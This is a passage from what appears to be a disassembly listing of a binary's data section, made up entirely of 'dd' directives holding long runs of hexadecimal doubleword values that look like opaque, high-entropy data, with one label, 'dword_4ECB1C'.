27DA4CB5h, 0EBD37823h, 7AB0F749h dd 90B47C30h, 0D211F8A4h, 4D5AC905h, 5BD2879Fh, 8E68DEC0h dd 0EA903395h, 0AF2D7353h, 0D313E3C8h, 0D66BD0BCh, 4C01884Ah dd 4D1FC97h, 442A5FFDh, 677EF31h, 0E9AC5A59h, 0FA6894C0h dd 7BE6AA0Ah, 4AF0BEC5h, 5454208h, 0D4E0146Ch, 8282E71Bh dd 0D995DAA0h, 8F27257Eh, 0FE6E49A1h, 485D5A7Ch, 7CC025D1h dd 0D6A50807h, 52E1933Eh, 407E2CE4h, 88CF666Ch, 1FD2ED87h dd 283E3E62h, 0A77E0227h, 9584E958h, 0A929A505h, 5D387457h dd 314AFE69h, 515F5905h, 2C6E8200h, 25C17CB1h, 137404EFh dd 34ED3580h, 2F989F8h, 0E9CA015Fh, 0D6A2C7BCh, 0BB7E50EBh dd 57108F65h, 0DDEC84DFh, 48E2A813h, 794D1996h, 0BEC85625h dd 21B4CD9h, 5EB4F23Ch, 0DB0AEF3Ah, 2C47A6B0h, 7CF75786h dd 606B06BEh, 0D4F12175h, 61818E6h, 1C0C0BF7h, 0F53FED44h dd 8E6A2052h, 7768F782h, 905A3AC7h, 0F9ED08h, 0D102E7C1h dd 0CF0581EFh, 286D4E9Ch, 0B56501EBh, 2A297D78h, 716BA404h dd 0AEC775AAh, 40F9DBD8h, 0EC1E86A1h, 8E4BCCFEh, 0DF81ABC2h dd 0C12A589h, 68FE8EC1h, 51E6C4E9h, 50555907h, 6778CDB9h dd 20E77B58h, 0B2521EC6h, 569709B7h, 1E27B25h, 60437FDDh dd 8CA9867h, 515B25BAh, 6BD8898Bh, 1DE3537h, 2C1FB1Eh dd 537E5CFBh, 0D75EEB86h, 0D58183D6h, 54F2840Fh, 20561302h dd 7B515933h, 321B4F58h, 0FDED3F91h, 3E96AD4Ah, 667D59BFh dd 6813FD66h, 8A604B43h, 0B56FCCE9h, 77B1BC1Eh, 4F6515A6h dd 75FB975Ch, 0E9BD815Ah, 8C25F9DEh, 0CE13D553h, 3959A749h dd 4D982993h, 50533D5Dh, 5B75B801h, 448173D7h, 224EB426h dd 0E1A33BF5h, 5402CD31h, 6546C4E5h, 0C0866852h, 1CFD48FBh dd 40B5E724h, 306887B9h, 702015Ch, 21651792h, 0B20D619h dd 0BDF47335h, 3DED71E9h, 0AF719BB5h, 605CE222h, 0FAF6EF48h dd 0D021166Fh, 0F8A7A45Ah, 61A7104Bh, 0C4329F05h, 5273986Fh dd 6B0ABA02h, 0E2425E39h, 9164FFC7h, 3AD4CA1Ch, 5EE2C92h dd 0EB988BB4h, 50E1FA89h, 0D9BC443Eh, 4F52B85Bh, 39505DB6h dd 0E6F94EB3h, 8A4E7A5Ah, 51ED7784h, 78E8DD2h, 0E8C67BEFh dd 0E34ACFF0h, 166E9CC9h, 9261B7B4h, 5037A404h, 4040D4C8h dd 259E5EDCh, 6E56084Ch, 680239BEh, 0E77952DAh, 93875A17h dd 7FE8137Fh, 6E02C7A1h, 992F4329h, 1B7A8C08h, 0B5C33FCEh dd 0BAF6395Ah, 0EE17A160h, 60401F5Ch, 0E3C60C43h, 41958804h dd 3C223154h, 2875D010h, 0F20AE56h, 0B5510458h, 0FB662C59h dd 0E4CC087h, 0E160E123h, 5F684041h, 97F95AD7h, 0ED5C5E7Ch dd 2051CF7h, 0C83D742Dh, 99A508F1h, 41F45D12h, 0D5E7FFC1h dd 7E7E9DEEh, 0FBF3F88h, 165650E7h, 0C129144Bh, 3DBA3676h dd 706BBC0h, 0CFB626C1h, 0EAAAEEB3h, 867955F7h, 75B7E025h dd 4F167D5Dh, 1C7097D2h, 0F205810Bh, 9A28A52Ch, 0AB1612FFh dd 92482F8Eh, 3371830Fh, 3D34FE33h, 5B54F800h, 2463D19h dd 0E903EEC1h, 0E9FCF8A6h, 125F5188h, 0B145633h, 4DD379F6h dd 2631F3AFh, 0EC6313BBh, 4546C53Eh, 0EBAD35BAh, 0CA51D3D3h dd 1C087FF1h, 657C12F0h, 0A2CD1817h, 20283DFEh, 9A09DC2Dh dd 8047C31Fh, 2C1970DDh, 61E91074h, 0D3624FC0h, 9316042h dd 63994C7Eh, 4043F502h, 4F607A11h, 5627FB5Eh, 0FEC3E265h dd 68520044h, 0F4ADB2CFh, 0E9AA40EFh, 5997EE2Ch, 90D749E5h dd 95A6B022h, 62B52A4Ch, 90987818h, 27AF16A4h, 23D44E4h dd 0C04BF488h, 5D667140h, 0F81D05ADh, 0DEF7CF74h, 8105464Ch dd 54E8CE18h, 7E78F60Ah, 0BC39D9Ah, 6E5205F0h, 690824B9h dd 1443F2Fh, 1824D86Ch, 5B9B59E9h, 0AD705A2Dh, 0BF14C88Ch dd 18EF146Bh, 0F5EFEBE4h, 0E52E0E60h, 63CB683Fh, 481FBAE6h dd 0D465040Dh, 629D6251h, 0F6D6F702h, 0DDDB8D83h, 3D1D3AE3h dd 7DCB6807h, 4DEC4288h, 625BDA22h, 41195F47h, 2CB425A8h dd 0E956A09Eh, 73BF67C8h, 5D020D8h, 9062489Eh, 0FB34DC8h dd 2808441h, 8D7360C2h, 4F82EF96h, 828BD030h, 0CCA1C226h dd 4AC1A396h, 92DC4B0h, 0C879EBA6h, 0C304CA48h, 721D1B19h dd 74747ED0h, 885E404Bh, 0E8BE80E5h, 6B086207h, 2FC5F329h dd 70328B89h, 6191D617h, 7CF4F689h, 0CBCAA29Bh, 4032EAF7h dd 80D763D2h, 5D5CEF09h, 50B9010Ch, 814A9A0Ah, 2FA9BA70h dd 0A3DC12EDh, 2D55BB08h, 5638A8B3h, 5D46A525h, 24084508h dd 0B105722Bh, 5ADD4E0Fh, 0E5EA3CBh, 45B8EC21h, 164A1948h dd 17E870Ah, 0A50E12D6h, 0F3814219h, 0C15EB903h, 0A8402CBEh dd 9DE559Bh, 846E92Eh, 0CE4FA768h, 78DBED27h, 0AEFF81BEh dd 64D5D312h, 1007648Eh, 3EC0EED1h, 283E88D2h, 2FE331E4h dd 0A2F9E829h, 0B3815565h, 767B92AEh, 0C2F20DC9h, 8CBD0F6h dd 52FFF156h, 71218F02h, 84B82C02h, 0B207A590h, 3C79792h dd 0AAA504D0h, 8B3FE86Dh, 88A9179Dh, 0C07C0561h, 2CCD6800h dd 23634496h, 1ECF4A93h, 57074C92h, 105ED92Dh, 538487BDh dd 489933BBh, 24778ABDh, 0C24AB35Ah, 52C6B929h, 0F2AA2CB0h dd 362BF51h, 64B7D6DCh, 2D688BBCh, 608F5957h, 4C112151h dd 6F00E198h, 810DF34Dh, 7B314BCDh, 3EFE8097h, 454832F4h dd 86510166h, 85E98228h, 0FEBA053Fh, 0C9BA91C1h, 95BDCFACh dd 0A91F04C0h, 610512F3h, 60A8ED81h, 0D3E1EBCDh, 0FFCAFADCh dd 57A0904Ah, 86B2BEE9h, 0DDB75309h, 0EFB002FEh, 51989966h dd 587A1C64h, 8F246C52h, 93B4738h, 0A2551C7Dh, 2A06C18h dd 5B306851h, 96D771F4h, 0B4DF80ADh, 0C4646A19h, 5DF2475h dd 0EC281D3Ah, 57CA054Dh, 0E8827865h, 526807C1h, 0B340F11Eh dd 0B399E72Bh, 406850E0h, 0B997C403h, 15C0561h, 0A62C50AEh dd 1C80C52Fh, 0D7685750h, 3A332D1Fh, 1F84CC17h, 565A84A7h dd 47713DCh, 0AA0B8109h, 40E0E3DCh, 2283D24Ah, 0C39DD712h dd 4CCA2EC1h, 14A44F62h, 0F62FC0C8h, 6D016472h, 5EF3317Ch dd 0F747D889h, 7AD33D1Ch, 5DD97A5Ah, 0F734F779h, 540A878h dd 750E419Ch, 3BB84BFh, 772801ACh, 0D2ACFE10h, 5FCD801Dh dd 4E68C566h, 0C21FFC73h, 5540B3F3h, 0CDE9C602h, 0C55F9DA9h dd 9F9F2A67h, 0B04AC533h, 8A5B1CF2h, 0D4E9C533h, 0E25BADE8h dd 0D218D117h, 5EE941C8h, 0C497E93Eh, 0DCBE2539h, 0B641EE12h dd 0FA6DD53Fh, 4D31D444h, 489845D8h, 9DE59EBh, 1391BBADh dd 0B6C16B02h, 776FFD76h, 0E048B4B6h, 3B0BBB22h, 48498438h dd 89BC4E1Ch, 0C0916EEEh, 33F4FE01h, 78E8ABCEh, 0C0387C94h dd 5BF6804Eh, 6628F530h, 6F7AD55Ah, 7879ED25h, 0DCCDF370h dd 3366C3C0h, 0CB0CB151h, 0B652D0B7h, 0F34E2876h, 538320EDh dd 0F992C788h, 48280849h, 527EFBE5h, 41E9CA16h, 82BEC04Eh dd 0A1443D47h, 8EBC1E6h, 91740420h, 96A5CF84h, 78D4B2EDh dd 0F3AC4C37h, 9F7214E7h, 0DBCADF4Eh, 71A6080Fh, 0C67B276Ch dd 5E94053Ch, 0FA0BB3B0h, 8118DF23h, 2946A076h, 17A044CEh dd 5C00EE08h, 0A11D17F1h dd 6D42568h, 5E5D0510h, 374510B0h, 19072A68h, 0D2023D2Eh dd 995F4847h, 0FBD4CFA4h, 0F4F34DE9h, 1216553Bh, 5810305Ch dd 0E994F921h, 7613FA6Ah, 0CFE54591h, 70DDF701h, 97BECE78h dd 34ADC781h, 0C80316Fh, 52192A9Ah, 0E912D701h, 0CA8A61A5h dd 7B6E257Ch, 0AD0F5DA2h, 4241BE07h, 0FA8008F4h, 47CF2A1Ch dd 829720E9h, 7FE8D17Ah, 9D829A49h, 28D753C7h, 0D3F66A47h dd 1F04DB26h, 8B05E3C0h, 9EEEA5B4h, 0E19E1AF6h, 68297D25h dd 0F8C51EDDh, 0BE65BFEEh, 918BE989h, 0B09DDE4Bh, 0E0503B04h dd 0E1A8B5EAh, 284A39B2h, 5EF960Ch, 46586EAh, 7470FFB0h dd 0E9FA090Bh, 97E670FCh, 58CA600h, 810312F8h, 0AB3578F2h dd 0D40C3B51h, 72198498h, 1CF6F969h, 0D66CE91Ah, 0C50055DDh dd 732E8EE3h, 39731F48h, 25FF903h, 27EEC5B0h, 670F5EFh dd 2930D20h, 33B9055Fh, 0C2D51992h, 4070B31h, 0AA126521h dd 47E16391h, 88F6E181h, 2C5F3266h, 275A3A7Ah, 0C1757CC2h dd 6E47C9E9h, 0F7FC2574h, 0CA3951D3h, 2D575226h, 36C5FD2Eh dd 3C32ABB6h, 13F4F608h, 0B9442157h, 0D34A6988h, 0FBE51BB8h dd 0B63BE4CDh, 0C8B6C054h, 9B60C168h, 35F3A7B8h, 25E9D304h dd 5AD28F0h, 0BF5ECC05h, 6E8AC058h, 5416A679h, 0CBFCE829h dd 0BB4ABBD0h, 0B37E0D39h, 203C88F1h, 0F8B48128h, 388A40CFh dd 2C47B05h, 0D0291303h, 29F0F7E9h, 0EAD14A13h, 594121BAh dd 0C9493FA7h, 52FA722Dh, 8110A45Fh, 729D7E5Ah, 5F65F460h dd 9EE4A98Dh, 0F68A7E89h, 0F9BFA0CAh, 0A430EC2Ah, 0E97031BAh dd 2D342593h, 75C3251Dh, 0B2E9C010h, 5C18C1BEh, 83B91562h dd 2366DD81h, 4E554C1Bh, 3EC4B3BCh, 726802E1h, 9894662Eh dd 3DBF0705h, 0F0557810h, 31F13A21h, 0C385E92Fh, 29ABDC97h dd 0F2AF2133h, 0D197EACEh, 799831ACh, 18CA6786h, 5AE30D0Eh dd 0E8C180FAh, 87590A78h, 89BC5B1Eh, 0B4E72EB9h, 0FB6CA604h dd 75F38038h, 1109627Dh, 0F5FF13E9h, 0AEBA4598h, 7D033913h dd 56159004h, 0A3FD590Bh, 152F11Eh, 842D0390h, 0D4093C7Eh dd 0A227299Eh, 9D42784Dh, 622A52F0h, 0A125A5ABh, 0A98B7146h dd 20C62898h, 8101F2AAh, 0FA25DDC9h, 7BF0417Ah, 0DBD9956Ch dd 0B22F9DA2h, 0D225B79h, 0AF416947h, 0A85DF622h, 0AC455622h dd 0D7134952h, 6C62FE7Bh, 7EC1CAA3h, 0AE1F5381h, 5713A6BFh dd 5CC79500h, 5AAEA8FBh, 5B3AD72Dh, 2798445Ah, 3996D292h dd 2A7C5Ah, 9EBE5652h, 4F4C9601h, 0D9A3476h, 8CA1EF13h dd 0D160F37Bh, 0D6680B85h, 5AB37716h, 40115D1h, 71A08C82h dd 33B60BC3h, 9185718Fh, 0BA84EEFh, 0E8026E6h, 0CF5A5427h dd 0E9773139h, 0F2C6D69Ch, 0E9F041B6h, 0EC614ED8h, 30EFA448h dd 88EFE9CBh, 36C5F1C1h, 40FE2B74h, 82CCE8C1h, 7444D605h dd 0C21ABECDh, 0D1CFDE3h, 0CAC26C96h, 63BD00F6h, 0FCC5112Dh dd 0DA885772h, 0FA18BF58h, 5E979D50h, 0D14643C5h, 81CB2B09h dd 5953E9EBh, 0E44F946Ah, 0E5B75F62h, 8C312916h, 0C2EBBA01h dd 116EE01Eh, 306B74EDh, 97F10512h, 1001FE2Dh, 0C7908AADh dd 122AF233h, 195F4984h, 0E92A04E4h, 352931CCh, 726F7E25h dd 38405134h, 760D44F3h, 0BF1B903h, 86E4B13Fh, 9EEAE9FCh dd 1812EE39h, 783E775Dh, 7F715FD7h, 0B14CE912h, 0C04BFDF2h dd 495B5D88h, 809F6698h, 5AD631A5h, 20369089h, 4EE8D2BEh dd 97468A12h, 9DA16AFh, 0E030E6FEh, 0B92CD3h, 0FC4B4310h dd 5AD51232h, 300BBF87h, 83D8ED8Eh, 0DEF15DF2h, 491E5627h dd 0C77605D5h, 922A3099h, 0EFA7AC07h, 71C87081h, 7CF63314h dd 3469FFD3h, 16A5217Ah, 5753007Dh, 791E03BFh, 22BB0A85h dd 4FFD0B4Bh, 0C3906250h, 4EF28791h, 0B5AF0640h, 1D292712h dd 3505B313h, 0ECE04D17h, 9AA1F056h, 12789DF7h, 7B25D97Dh dd 0A7B7EF2h, 0BE8FC28Dh, 7C398B4Eh, 0E31BCC7Eh, 0C0245158h dd 0B648E9CEh, 47D925D0h, 0B27AE958h, 7F6813C2h, 2AFDA356h dd 0BC94CE13h, 2992AB26h, 0F11CC9AAh, 1006E7Dh, 28A8C480h dd 88149CE3h, 5DC2C7B1h, 27AEFA8Ch, 0D54C59CEh, 0EA801B7h dd 0D041FC6Dh, 0A23EF695h, 0B49DD810h, 85B1385Ch, 8B73E127h dd 0E290B517h, 28CCE2F1h, 9DCA2F0h, 7DD94CB2h, 2959B205h dd 0D840EC8Fh, 20D66695h, 0D897E52Fh, 0AA12F015h, 90267DC5h dd 3AFB0602h, 0E668B8A1h, 4CA00D03h, 9EE915FBh, 0CB322A04h dd 52D3F666h, 0D3276447h, 0AE90B17h, 12D101C2h, 8C6D9149h dd 0D2B82381h, 4401396Ah, 0B4D8BE83h, 0CB47952Ch, 7242220Bh dd 1C14F18h, 0AB8F72B1h, 33846BE7h, 0D0CBF982h, 67989F36h dd 0B05E62Dh, 0E8014202h, 0CD161AC1h, 4B771C2Dh, 0EBF0124Bh dd 0D95F3ECAh, 21074430h, 6FEBE92Dh, 28B9EE00h, 0B7735C78h dd 0CF3146C1h, 509930F9h, 3A55CEE0h, 94368628h, 77F38E62h dd 0F4956A3Ch, 70F4A5E4h, 6805ADC8h, 0C4FC2B88h, 24CC5AA2h dd 570255BCh, 0A050F6E9h, 1E2A8FC3h, 152D0030h, 483E2632h dd 745A88E9h, 169ED8FCh, 0EAB4857Eh, 823A464Fh, 885B2752h dd 0E90407B1h, 4FB4F16Eh, 24B44FC2h, 61CBAB11h, 966E6A24h dd 4D67094Ah, 0BA511A7Eh, 43BF32Eh, 337047F6h, 6E9CA2C5h dd 222700B4h, 34CF810Fh, 2AE77B62h, 8EC709C0h, 0B4791678h dd 8CDD2529h, 0C60B3052h, 4DEF658h, 98EFC0C8h, 0EF9F4B76h dd 0B400A76Eh, 0FD885DB7h, 0ABAD5B5Bh, 54205458h, 28E4040Ch dd 1CD166C1h, 0EE6DE180h, 0CA300BECh, 273A7745h, 0E8DFD895h dd 13F25AE9h, 7883E824h, 4FA86226h, 3FAAC68Dh, 97898B7Ah dd 0F4974FAh, 288BB3C1h, 0F0E07FD8h, 6AFD0478h, 65020622h dd 866884D2h, 9A32D24Ah, 9627E4D6h, 182792D7h, 2F500E68h dd 0C3888401h, 880D60DFh, 542E6855h, 5D19EF14h, 3CCB03B5h dd 0DAE97231h, 982F7775h, 65086302h, 3B6A56E0h, 4B5C4A19h dd 7A40010Eh, 362CA3CBh, 0C1874CCh, 537CFE16h, 4B2DC100h dd 91B0E4Ah, 0FBE9D001h, 0F482A7FCh, 5F3CC74Eh, 6A5AE748h dd 0E93B241Dh, 0DD24E26Dh, 0BF01B6ECh, 7B7D30D8h, 217F2BE9h dd 0D86C7C89h, 0DA58F738h, 169B3B8Ch, 0DCC1B859h, 0B834AEE9h dd 1D6912BDh, 0C3EAC75h, 6EB4124Fh, 414541CAh, 0B369CFh dd 3D04A7BBh, 1E1652EAh, 4A5FB2A8h, 0E85D5588h, 9381B2EAh dd 0A077A50Ch, 4DD7BBCFh, 81320088h, 0EB6A64F3h, 6BBD4352h dd 619AD2D3h, 137A01BBh, 0B408A58h, 0F154FB68h, 9F3F881Ah dd 13FE4A18h, 84E02E5Bh, 59652F90h, 813D5826h, 0E9141012h dd 0D0094CEh, 2F3D6008h, 0A41F166Eh, 5BA2DA44h, 58BAA52h dd 0B8205E48h, 0F1A5049Ch, 3F2308F8h, 2C6FE09h, 7FB668EAh dd 0B7066646h, 84C7800Bh, 0E90F1706h, 6ABEA1B0h, 0C9268B2h dd 6195DB08h, 5EEE3713h, 0D30558FCh, 0C1400117h, 289CA76h dd 97E4DD5Ah, 14D3A37Eh, 40E03DFFh, 0B10EEC4Fh, 0DD0C2E69h dd 3E8C6FAAh, 0DC10987h, 7F806929h, 686C7511h, 64CBE91Ah dd 5B79908Fh, 0A2D87A21h, 0AD1F79B7h, 173155FAh, 7CCC33D1h dd 0FD9A302Eh, 16188162h, 5E38F756h, 0AA799D57h, 3322E964h dd 0C1B6050Fh, 0E06B23C9h, 1A1DDB1Fh, 0CD8766FCh, 65065526h dd 88DD09BAh, 21FE984Dh, 16EA890Bh, 4E50B7DBh, 9BB0E44h dd 3066523Ch, 0F124900h, 0CC02CE0h, 7E6217BFh, 6BF024E9h dd 1EFB92CAh, 0B0574BD9h, 200794DDh, 0B65EBBB8h, 0C4109C2h dd 18FE5D86h, 8FAE9658h dword_4ECB1C dd 0A8940440h, 13A335C8h, 0F0163611h, 0F809C33Ah, 5872B945h dd 0BCD880D4h, 4ABF3053h, 73F1680Ch, 0DA897D12h, 18587A2h dd 46A8C1FAh, 520500C3h, 0E23A3DEFh, 2700A925h, 2554685Eh dd 62AF59B5h, 4D01F184h, 0D520EDC1h, 3E723EF5h, 10D2772Ch dd 0A72775EFh, 9C74593Dh, 0A8029668h, 75BAC4C3h, 85C47DACh dd 715D0945h, 95C86B91h, 68806675h, 0E32D4DFDh, 6592A810h dd 9DEE5A66h, 6AA5E86Dh, 0C931D9BFh, 5303B282h, 0F7D9F702h dd 0D1A2810Eh, 99DDCB68h, 2A90563Fh, 0FCBD0270h, 5F57650Ch dd 0E19FEA4Bh, 4108314Ch, 0C47A3888h, 7E97297Eh, 4C646936h dd 9170E10Ch, 1A00C5Bh, 2DC3715Dh, 70854918h, 0A09F7A76h dd 91E0EEA9h, 128A4B16h, 850CFDF4h, 25AAE13Ch, 0AA231182h dd 0D653F64Fh, 0FED2A7E9h, 0F6591B92h, 0B61E2DFDh, 4079E925h dd 4CCF29FDh, 0B9041359h, 0C0B478F2h, 9EE9CEEFh, 276C6A49h dd 27E971C3h, 5F1E9E5Bh, 35685B8Eh, 23B096CCh, 17D1EC09h dd 4BD9E910h, 221E66F0h, 1DA36812h, 0B5E0F389h, 1F252C11h dd 0B74716D4h, 0D6547BF2h, 0A709BE97h, 41CAA62h, 30FB7159h dd 6152506h, 0AB68420Ch, 5D393976h, 1789C3F2h, 11439AEh dd 0DB8FC0AAh, 908705E5h, 634EE878h, 8C4C1081h, 0DCA10810h dd 18946210h, 2D286F32h, 0E108C477h, 764A066Dh, 0A5B03320h dd 18F60C08h, 8276B31h, 188CEA7Fh, 6C0869CBh, 66B4B640h dd 599E2056h, 18ADE331h, 2003532Ah, 1FFF2910h, 4D415731h dd 0F3109E0Eh, 965B0831h, 0A47E188Dh, 884BF508h, 8D72718h dd 0C6089B08h, 71370C46h, 4D630F08h, 18845218h, 1804F808h dd 8C651C1h, 2018DFA1h, 99315D07h, 0C4D310B7h, 883E088Ch dd 10C68231h, 620886F7h, 49239125h, 1866D203h, 30358E08h dd 5780BCDBh, 1A448063h, 0CD5618C4h, 6D44104h, 330880E3h dd 0A7A15493h, 4ADB0818h, 0C6584830h, 18E7F908h, 8602232h dd 66CE2372h, 0F9CB2010h, 0E9F24076h, 0A6184165h, 32A8E046h dd 5F622008h, 285B1431h, 88CB3E2h, 3A1824BDh, 40437740h dd 79CA0B46h, 0EF889088h, 737F0CEEh, 0E4A89310h, 0FB83EC7Eh dd 0B9081872h, 62F61807h, 873608C6h, 0B8BE5418h, 77134039h dd 63678940h, 67B100Fh, 0F84C0812h, 8CE5048h, 4708C71Ah dd 4F0A0C61h, 0B9CCE710h, 40FB595Ch, 0D8A87C57h, 10C41028h dd 0D80C7D72h, 0C263B7F1h, 2A799E08h, 32A45D20h, 701178D4h dd 2632D02h, 0D4ACD6A7h, 349213A1h, 188C6649h, 0F4108431h dd 1D1180F6h, 80DDB780h, 0C780472Eh, 7808C603h, 483118CCh dd 6A1308EFh, 2282188Ch, 1441AA08h, 24529A21h, 0DA1903B1h dd 0C5990810h, 916E251Ah, 71F95CA6h, 8135AD32h, 0D1A30653h dd 0C9804E54h, 0C2105963h, 0E2512057h, 8F0EE31h, 0C8249033h dd 0D708C41Eh, 24DF095Fh, 0AC9245D0h, 78BCA228h, 6EC60230h dd 3263F703h, 8621AC51h, 65E96106h, 4429192Fh, 6B5C7A4h dd 31085AB6h, 94183C95h, 6F089C21h, 83D42060h, 497A8620h dd 0E3129CFBh, 9D044849h, 54445D12h, 55042C5Bh, 21290C0Dh dd 0A99A4063h, 3C086163h, 4F3930F3h, 0FC9C6028h, 93A4E84Ch dd 0BBEF9B03h, 8B261E44h, 0D31839C7h, 473B1041h, 2752C03h dd 1B8913EBh, 3DA7B90Eh, 440105D0h, 49408F00h, 0F775C90Bh dd 0C0744A8Bh, 0F003DE96h, 9547B94Ah, 0F80C033h, 0D3304FB1h dd 9844EB2Ch, 12567CE6h, 0C232A97Dh, 0F6A5E955h, 5BDE8B69h dd 44F131B3h, 7464AF0Ah, 2E912878h, 0CF95108h, 281A354Bh dd 0CE5AF139h, 2D3AAB81h, 7CF695ADh, 43B75305h, 0E6DEC8FAh dd 0F63B1673h, 0F4CE1E14h, 0E936C644h, 7389286h, 49B05066h dd 16F7CB88h, 0FF30C1AFh, 2A6573E9h, 0A85955D0h, 9DB3302h dd 9B5A2D85h, 1084F6E8h, 2EA2AB54h, 27C43579h, 37D0EE12h dd 515D6068h, 89FE8F45h, 0CBDFF407h, 0CE72FD01h, 98F7C65Eh dd 5D3030Fh, 0DCE9761Dh, 0EA97404Ah, 681C25F9h, 0DA0E4260h dd 0B8F1BF27h, 7A92607Ah, 437F562Dh, 0F95A6127h, 55D06009h dd 750B4668h, 0F65D715Ah, 80E82537h, 0A8F59DE9h, 0DE3F782Ah dd 31925D70h, 0B94DF253h, 73F2A707h, 0E0291C8h, 484E35BFh dd 154D4147h, 1761E5DCh, 0ADD9F6E9h, 4B1E71AEh, 3DC838FFh dd 0B3680593h, 0A08DD842h, 57080754h, 1B25BF07h, 0FA904661h dd 0C74952E9h, 72D92820h, 0C89B0C80h, 8D5720FAh, 2A28117Fh dd 67DEBA5h, 6254A68Fh, 9700BB13h, 0DD789DB0h, 1B680257h dd 5F1F7418h, 8A39865Eh, 0CBD55CBh, 7FC38100h, 2470481Eh dd 0C80EB29h, 0C0E9FEE7h, 270D5C12h, 564128ABh, 0E9EFE93Bh dd 0A84D7C8h, 0E603EF5Ah, 0E352B145h, 88C41C1h, 0BAECC57Fh dd 94FC5912h, 8543DCA1h, 4F38684Ah, 40DE9CACh, 6C6B49BEh dd 8565D8E9h, 4FF8591Ch, 9D253579h, 6E7CAA12h, 10E274Ah dd 780D5FE7h, 0E12B1C37h, 0EBF8E189h, 7BF91A5Fh, 97D5E89h dd 701874B9h, 859771E9h, 0A5B8588Fh, 0BC536B64h, 0DD5AB294h dd 80B6065h, 34A1D248h, 0FA922623h, 0FF68EEC8h, 0E013CD3Ah dd 0B4BF61F7h, 0C25AB4E8h, 14DF8F54h, 287B9D74h, 9DBDE8A7h dd 0BFEA9546h, 1B766580h, 81191510h, 550D72F7h, 4DCDD480h dd 0D5892F9Ch, 0BCC55A76h, 39EA8843h, 0A756F8E3h, 0F642B4B5h dd 52F6DD05h, 4451AB27h, 0E085D315h, 68FF0356h, 0A4406D55h dd 250FF42Dh, 115E298Ah, 388D4F1Fh, 0C5201C6Bh, 0DFF6069Eh dd 611E780h, 0F7094176h, 0C0885213h, 0C7FFB7E4h, 8257E5C5h dd 650E68D5h, 6F34ECCh, 0C229F300h, 0ACC98133h, 23985712h dd 0EBAA2CAEh, 6E91B3A0h, 9673D9BFh, 51210EECh, 0A8BA2F1Ch dd 0A94CAC02h, 0F30103h, 776D8050h, 0DA295E67h, 55065B60h dd 0FAF0B850h, 0E8354F93h, 0DFB422B1h, 0B10214BCh, 1E740048h dd 0CB7E2B70h, 0BDC8D894h, 517B13E7h, 89BE5600h, 0D1679174h dd 2558C0E6h, 403B4B39h, 0F2012DE2h, 0E90F2707h, 0A36E6913h dd 9A8C9F4Bh, 4C881074h, 0B526C3F0h, 5807CC7Dh, 260A17BFh dd 0E81344C1h, 840F0D6Eh, 0A16BDF5Fh, 4CDBF844h, 652099A4h dd 57E897F1h, 393E8AA6h, 237F963Ah, 46C24B40h, 4B49B408h dd 9AE1A459h, 0DDB59854h, 0E3275B4Ch, 0D9FBDC0Ch, 0C25496D9h dd 0E31875A3h, 95BA1029h, 6FB85F16h, 0E9D77FADh, 0C2F71602h dd 0CDEC18DDh, 4065CEDDh, 74E0E53h, 75C735C3h, 0F82AF1D4h dd 0BE5DE949h, 62167457h, 2004737h, 0B8C8A2C6h, 0BD5E9ADDh dd 1075D2B2h, 808E5917h, 0CBB0C331h, 51245671h, 0B702FC73h dd 87587412h, 0D89091ECh, 51ADE901h, 0A5439E19h, 0BF01FCF1h dd 7F793BA4h, 6BA7084h, 28137268h, 0D811B99Dh, 3F359B24h dd 222568F1h, 0C5D566E2h, 0D09089A9h, 3782F529h, 2091594h dd 0B204E97h, 0AE467B40h, 636354BCh, 492A2821h, 0D030DDFEh dd 0EC800CF9h, 0C785F82Fh, 835FFE95h, 105FA8A2h, 43C439E8h dd 3D4688C7h, 4A446918h, 25648D0Ch, 3ADF72A0h, 93655D45h dd 13DD485h, 0AA978EA3h, 0B9E51118h, 1E5D138Bh, 0A55DEF5Eh dd 3F4A7A47h, 0AA53DB53h, 1CB413Eh, 0CDC62D41h, 7DF59752h dd 1D317FA4h, 0A0180876h, 9421B3FBh, 10B7AC67h, 73E34FDAh dd 5D31A6D2h, 2EA64E33h, 520B4316h, 2050E150h, 0ECEC520Fh dd 315F547Fh, 57E39F91h, 4C96BF41h, 372D9700h, 0F7D1F81Eh dd 0C1BFDECCh, 0BDB6D3h, 6A94F2F3h, 181629E5h, 26408EE9h dd 767BFF68h, 16609D0Bh dd 0AE3B197Fh, 0BCE30105h, 436D6E0Fh, 0BB9408Eh, 5E530DE1h dd 0B7A63B5Bh, 59A3B74Bh, 0E2C11DD9h, 593F157Ch, 645A07C4h dd 5A4B60Ah, 0CD815690h, 3F161C5Dh, 30544B68h, 2D177766h dd 1D055104h, 0CE24C517h, 5E3D84F8h, 92EDD6ACh, 8247FC31h dd 51156468h, 19B1BB21h, 44126B3Dh, 42AB00AFh, 2D5CD63Dh dd 0C2265A71h, 83800510h, 6E35FFC0h, 0DFE2743h, 0BF58C976h dd 0BC0F4F6Fh, 0B480749Ch, 0D4F60566h, 493D4168h, 0A249513Fh dd 7C5AC350h, 0FE92EDD7h, 0A24ED589h, 6A895593h, 82291E33h dd 1DC75C84h, 0EEC045FEh, 0CBB8603h, 5CBBE750h, 13416941h dd 283B4F18h, 1E6AC183h, 0F3089692h, 6AFF1897h, 4E98475Fh dd 7F3DA00Bh, 1055007h, 192DF029h, 700A1D69h, 2B54C2DBh dd 6C32E976h, 615B1035h, 0A3A7DBDCh, 0C809D6CDh, 2D43A0B5h dd 585D1297h, 2601A17Ah, 0E9341520h, 327DD219h, 0D2CEF594h dd 3B33E92Eh, 7CF526BEh, 0FD7A17BDh, 8D1956B3h, 42E0494Ah dd 5144908Eh, 66076BB6h, 0C81546h, 0A3037F49h, 715993E9h dd 5AF313B2h, 0C1C034A2h, 0E919F480h, 953BC032h, 0B08AC0F1h dd 41183069h, 377AF50Ch, 0DDBC3D60h, 9F2B396Ah, 95409784h dd 5963BC38h, 791D04ACh, 0F5C34D06h, 0EBDB09AEh, 0B2058201h dd 7FDDBFC2h, 0B0103E88h, 0DCEAA630h, 5F972D7Ah, 5B2CE358h dd 0A2588361h, 8979B83h, 8B09F325h, 5A3BDC2Ch, 0DCC57840h dd 89C34BC0h, 0F680A888h, 0CDC2BF45h, 0BF069457h, 0F7EB0310h dd 0BE015195h, 6E67688Fh, 0FB06F2A4h, 73EDA8DDh, 8C4F6178h dd 0B1F8F815h, 0F5740750h, 0F626FF12h, 0B6F902BBh, 0C4602975h dd 14E2FC6h, 8194BFFCh, 7A2C3C10h, 72FD5A9Ah, 2942134Ah dd 2F514897h, 146158A0h, 0A7816CACh, 2A501DD6h, 0F1148925h dd 29E908BAh, 89738C3h, 0BA0112C8h, 7B1510FAh, 6AE5A13Fh dd 6073D7E1h, 